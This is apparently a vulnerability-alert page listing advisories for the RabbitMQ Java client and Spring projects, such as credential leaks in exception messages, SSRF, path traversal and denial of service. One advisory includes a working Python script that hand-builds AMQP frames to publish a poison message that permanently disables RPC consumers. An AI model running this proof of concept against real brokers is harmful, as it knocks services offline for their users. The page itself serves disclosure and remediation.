Where
AND
-Infinity
0
Severity
5.7
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary When property-file/Map-based ConnectionFactory setup fails while parsing the uri key, the library wraps the underlying exception with the raw connection string — including the plaintext username and password — baked verbatim into the new exception's message.

Details ConnectionFactoryConfigurator.load(ConnectionFactory, Map<String,String>, String) (src/main/java/com/rabbitmq/client/ConnectionFactoryConfigurator.java, lines 142-155):

String uri = properties.get(prefix + "uri"); if (uri != null) { try { cf.setUri(uri); } catch (URISyntaxException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } catch (NoSuchAlgorithmException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } catch (KeyManagementException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } }

uri is the full AMQP URI — amqp(s)://username:password@host:port/vhost — concatenated verbatim into the exception message on any of the three catch branches. No masking/redaction exists anywhere in this class or in ConnectionFactory.setUri(). This is the library's documented Spring-Boot/ops-config entry point (ConnectionFactory.load(...), available since 4.4.0), not obscure internal code.

RabbitMQ's own AMQP URI spec (rabbitmq.com/docs/uri-spec) explicitly warns the password "should avoid leaking... the full URI should not appear in exception messages or log records." A sibling method twenty lines away (ConnectionFactory.setUri(URI)) already avoids this exact mistake for a different malformed-URI case — this path wasn't caught by that same care.

Note: KeyManagementException is declared in the throws clause but not actually reachable via the current setUri(String) → setUri(URI) call chain — the two real, reachable leak surfaces are the URISyntaxException branch (trivial, deterministic, scheme-independent) and the NoSuchAlgorithmException branch (real but narrower — amqps:// only, requires a restricted/FIPS-style default TLS provider).

PoC Map<String, String> props = new HashMap<>(); props.put("uri", "amqp://svc-account:P@ssW0rd With Space!@broker.internal:5672/prod"); ConnectionFactory cf = new ConnectionFactory(); ConnectionFactoryConfigurator.load(cf, props, "");

Throws:

java.lang.IllegalArgumentException: Error while setting AMQP URI: amqp://svc-account:P@ssW0rd With Space!@broker.internal:5672/prod

A password containing a space is entirely ordinary under common corporate password policies, and java.net.URI rejects such input outright — this isn't a contrived edge case.

Impact Default Spring Boot startup-failure logging, an APM/error tracker, a CI job log, or an engineer pasting a stack trace into an internal or public ticket now holds the plaintext broker password, in a system typically far less access-controlled than wherever the credential is normally stored. Note the underlying URISyntaxException also carries the same string in its own message, chained as the cause of RabbitMQ's IllegalArgumentException — so removing RabbitMQ's own + uri concatenation alone would not fully close this; the raw secret-bearing string also shouldn't be handed to new URI() for error-reporting purposes at all.

Suggested fix: don't include the raw uri string in the wrapped exception's message — redact the userinfo component (or omit the URI entirely) before including it in any exception text.

1 / 2
Source: GitHub
First published (updated )
Severity
6
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

1. RpcServer.mainloop() catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129

2. The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

1. Start a broker:

bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq

2. Publish a message whose correlation-id is 255 × 0xFF: python import socket, struct

def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison" s = socket.createconnection(("127.0.0.1", 5672), timeout=10)

def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("enUS")))) cm, fm, = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison"))

close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE)

3. Run a consumer using the tutorial pattern against rpc.poison:

java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder() .correlationId(delivery.getProperties().getCorrelationId()).build(); channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8")); channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false); }; channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

bash java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255. at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...) at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753) channel open after: false queue depth after: 1

The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

Impact Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

The EmbeddedHeadersJsonMessageMapper defaults to an overly permissive header parsing posture in its constructor. When decodeNativeFormat processes raw byte payloads, it deserializes embedded JSON headers into a plain Map and constructs a GenericMessage with MutableMessageHeaders without sanitizing or filtering untrusted header names by default. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12 Spring Integration 5.5.21 and earlier

First published (updated )
Severity
5.4
Race Condition
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

A single ScriptEngine instance is reused for every message on a script-backed channel. For JSR-223 engines that report THREADING=null (not thread-safe, e.g. the Kotlin kts engine), concurrent message processing can corrupt engine-internal state, potentially leaking one message's payload/headers bindings into another message's script evaluation or throwing spurious exceptions. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12 Spring Integration 5.5.21 and earlier

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

When a container-level ErrorHandler is configured (the mitigation for finding 221000), each delivery whose processing throws still permanently consumes one link credit. After initialCredits (default 100) failing messages the receiver's credit reaches zero and the broker stops delivering, leaving the listener silently stalled while isRunning() remains true. Spring AMQP 4.1.0

First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

RedisChatMemoryRepository.findByMetadata() builds RediSearch tag and text queries from caller-supplied metadata values without applying RediSearchUtil.escape(), unlike get(), clear(), and findByTimeRange() in the same class which do escape their inputs. An application that passes user-controlled values to findByMetadata() on a tag-typed metadata field allows an attacker to inject RediSearch syntax (e.g. x} | ) that breaks out of the tag clause and matches all indexed chat messages across every conversation in the index. Spring AI 2.0.0

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

DeadLetterPublishingRecovererFactory reads the retrytopic-original-timestamp header from an inbound ConsumerRecord and passes its raw bytes directly to new BigInteger(header.value()) with no length or format validation. Spring for Apache Kafka 4.1.0 Spring for Apache Kafka 4.0.0 - 4.0.6 Spring for Apache Kafka 3.0.0 - 3.3.16 Spring for Apache Kafka 2.9.0 - 2.9.14 Spring for Apache Kafka 2.8.12 and earlier

First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

The Spring Cloud Config Monitor is susceptible to Denial of Service attacks via malicious payloads. Spring Cloud Config 5.0.0 - 5.0.4 Spring Cloud Config 4.3.0 - 4.3.4 Spring Cloud Config 4.0.0 - 4.2.8 Spring Cloud Config 3.1.14 and earlier

First published (updated )
Severity
6.8
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H

A local unprivileged user on the same host can redirect all Zip/UnZip transformer output into a directory of their choosing by pre-creating /tmp/ziptransformer as a symlink before the application starts. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12

First published (updated )
Severity
4.9
AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

Potential for logging sensitive data in Spring Cloud Stream. Spring Cloud Stream 5.0.0 - 5.0.2 Spring Cloud Stream 4.3.0 - 4.3.3 Spring Cloud Stream 4.2.0 - 4.2.6

First published (updated )
Severity
4.9
AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N

Potential for logging sensitive data in Spring Cloud Function Azure. Spring Cloud Function 5.0.0 - 5.0.3 Spring Cloud Function 4.3.0 - 4.3.4 Spring Cloud Function 4.2.0 - 4.2.7

First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L

ResourceCacheService.getCacheName() builds the on-disk filename by appending the URI fragment verbatim, without stripping path separators or .. sequences, and passes the result to new File(resourceParentFolder, newFileName) before writing the downloaded bytes there. Spring AI 2.0.0 Spring AI 1.1.0 - 1.1.8 Spring AI 1.0.9 and earlier

First published (updated )
Severity
6.6
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Unless the application explicitly raises smbMinVersion, the jCIFS client will negotiate down to SMB1/CIFS, which lacks mandatory signing/encryption and is vulnerable to NTLM relay and content-tampering MITM. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12

First published (updated )
Severity
5.5
SSRF
AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N

Potential arbitrary file read and SSRF vulnerability in Spring Cloud Function. Spring Cloud Function 5.0.0 - 5.0.3 Spring Cloud Function 4.3.0 - 4.3.4 Spring Cloud Function 4.2.0 - 4.2.7

First published (updated )
Severity
5.9
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Spring for GraphQL is vulnerable to Denial of Service attacks when using the WebSocket client with keepAlive enabled. Spring for GraphQL 2.0.0 - 2.0.4 Spring for GraphQL 1.4.0 - 1.4.6 Spring for GraphQL 1.3.0 - 1.3.9

First published (updated )
Severity
6.1
XSS, Code Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Spring MVC and WebFlux applications that obtain a data-binding Errors instance with HTML escaping enabled and then render field errors using the no-argument Errors.getFieldErrors() or Errors.getFieldError() accessors are vulnerable to arbitrary HTML/JavaScript code injection, potentially resulting in a reflected cross-site scripting (XSS) vulnerability. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30 Spring Framework 5.3.0 - 5.3.49 Spring Framework 5.2.25.RELEASE and earlier

First published (updated )
Severity
5.3
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Spring Security's InetAddressMatchers utility provides matchInternal() and matchExternal() builders for constructing an InetAddressMatcher that classifies a given IP address as belonging to an internal (private) or external (public) network. Spring Security 7.1.0

First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Several components in Spring Security compare security-sensitive values using standard string equality (String.equals()) rather than a constant-time comparison. Because String.equals() returns as soon as it finds a differing character, the time taken to reject an incorrect value is proportional to the number of leading characters that match the expected value. Spring Security 7.1.0 Spring Security 7.0.0 - 7.0.6 Spring Security 6.5.0 - 6.5.11 Spring Security 6.4.0 - 6.4.18 Spring Security 5.8.0 - 5.8.27 Spring Security 5.7.0 - 5.7.25

First published (updated )
Severity
4.3
Path Traversal
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Applications using Spring Framework's FreeMarker integration may be vulnerable to a path traversal attack when a controller returns a view name derived from untrusted input and FreeMarker is configured to resolve templates through SpringTemplateLoader. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30 Spring Framework 5.3.0 - 5.3.49 Spring Framework 5.2.25.RELEASE and earlier

First published (updated )
Severity
6.8
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Any application shipping logs to RabbitMQ over TLS via the Log4j2 appender, relying on the documented default, is exposed to man-in-the-middle interception of every log event. Spring AMQP 4.1.0 Spring AMQP 4.0.0 - 4.0.4 Spring AMQP 3.2.0 - 3.2.12 Spring AMQP 2.4.18 and earlier

First published (updated )
Severity
6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

A Spring MVC application that uses UrlFileNameViewController that is mapped with an end-of-path, and does not have a configured prefix is vulnerable to an open redirect. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30 Spring Framework 5.3.0 - 5.3.49 Spring Framework 5.2.25.RELEASE and earlier

First published (updated )
Severity
6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

UrlHandlerFilter can be vulnerable to an open redirect when configured with very broadly matching patterns. The issue applies to the filter variants in both Spring MVC and Spring WebFlux. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19

First published (updated )
Severity
6.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

JsonKafkaHeaderMapper and DefaultKafkaHeaderMapper include java.net in their default trusted packages list. When these mappers are used — which is the default configuration for all @KafkaListener consumers — an external Kafka producer can inject a java.net.InetAddress type via the springjsonheadertypes message header. Spring for Apache Kafka 4.1.0 Spring for Apache Kafka 4.0.0 - 4.0.6 Spring for Apache Kafka 3.0.0 - 3.3.16 Spring for Apache Kafka 2.9.0 - 2.9.14 Spring for Apache Kafka 2.8.12 and earlier

First published (updated )
Severity
6.6
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

A single hostile AMQP message can terminate the entire consumer JVM (System.exit(99)), not just the listener thread — full availability loss for every workload co-located in that process. Spring AMQP 4.1.0 Spring AMQP 4.0.0 - 4.0.4 Spring AMQP 3.2.0 - 3.2.12 Spring AMQP 2.4.18 and earlier

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

The UnZipTransformer does not limit decompressed entry size or entry count when processing archives. Consequently, an attacker can send a zip archive that can exhaust JVM heap memory, causing a denial-of-service outage. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12

First published (updated )
Severity
6.5
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

When the RabbitMQ management aliveness check fails, the configured admin password is embedded in cleartext in the thrown exception message. Spring AMQP 4.1.0 Spring AMQP 4.0.0 - 4.0.4 Spring AMQP 3.2.0 - 3.2.12 Spring AMQP 2.4.18 and earlier

First published (updated )
Severity
5.4
Input Validation
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

A producer who can publish to a JMS destination consumed by any Spring Integration JMS inbound component can set String JMS properties named replyChannel, errorChannel, or jsonTypeId which are copied verbatim into the Spring Integration MessageHeaders. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12 Spring Integration 5.5.21 and earlier

First published (updated )
Severity
6.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

An unauthenticated remote attacker who can send a single UDP packet to a Spring Integration UDP inbound adapter can cause the server to emit an outbound UDP datagram to an arbitrary internal or external host and port of the attacker's choosing. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12 Spring Integration 5.5.21 and earlier

First published (updated )
Severity
5.4
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

An attacker who can set the filename header on a message reaching a ZipTransformer with ZipResultType.FILE (the default) can cause the resulting .zip archive to be written to an arbitrary filesystem path outside the configured workDirectory. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12

First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

An attacker who can publish to a queue consumed by an application that has enabled message decompression can crash the consumer JVM with a single ~1 MB message. Spring AMQP 4.1.0 Spring AMQP 4.0.0 - 4.0.4 Spring AMQP 3.2.0 - 3.2.12 Spring AMQP 2.4.18 and earlier

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203